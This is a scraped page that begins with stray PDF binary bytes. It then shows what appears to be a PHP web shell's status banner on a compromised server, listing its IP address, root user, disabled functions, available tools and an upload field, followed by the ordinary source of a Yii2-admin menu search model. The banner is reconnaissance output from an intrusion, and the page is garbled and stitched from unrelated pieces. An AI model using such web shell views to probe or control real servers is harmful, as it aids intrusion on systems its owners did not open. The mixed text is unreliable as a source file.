%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/cwd/html/ppaobm/vendor/mdmsoft/yii2-admin/models/searchs/ |
Upload File : |
<?php namespace mdm\admin\models\searchs; use Yii; use yii\base\Model; use yii\data\ActiveDataProvider; use mdm\admin\models\Menu as MenuModel; /** * Menu represents the model behind the search form about [[\mdm\admin\models\Menu]]. * * @author Misbahul D Munir <misbahuldmunir@gmail.com> * @since 1.0 */ class Menu extends MenuModel { /** * @inheritdoc */ public function rules() { return [ [['id', 'parent', 'order'], 'integer'], [['name', 'route', 'parent_name'], 'safe'], ]; } /** * @inheritdoc */ public function scenarios() { // bypass scenarios() implementation in the parent class return Model::scenarios(); } /** * Searching menu * @param array $params * @return \yii\data\ActiveDataProvider */ public function search($params) { $query = MenuModel::find() ->from(MenuModel::tableName() . ' t') ->joinWith(['menuParent' => function ($q) { $q->from(MenuModel::tableName() . ' parent'); }]); $dataProvider = new ActiveDataProvider([ 'query' => $query ]); $sort = $dataProvider->getSort(); $sort->attributes['menuParent.name'] = [ 'asc' => ['parent.name' => SORT_ASC], 'desc' => ['parent.name' => SORT_DESC], 'label' => 'parent', ]; $sort->attributes['order'] = [ 'asc' => ['parent.order' => SORT_ASC, 't.order' => SORT_ASC], 'desc' => ['parent.order' => SORT_DESC, 't.order' => SORT_DESC], 'label' => 'order', ]; $sort->defaultOrder = ['menuParent.name' => SORT_ASC]; if (!($this->load($params) && $this->validate())) { return $dataProvider; } $query->andFilterWhere([ 't.id' => $this->id, 't.parent' => $this->parent, ]); $query->andFilterWhere(['like', 'lower(t.name)', strtolower($this->name)]) ->andFilterWhere(['like', 't.route', $this->route]) ->andFilterWhere(['like', 'lower(parent.name)', strtolower($this->parent_name)]); return $dataProvider; } }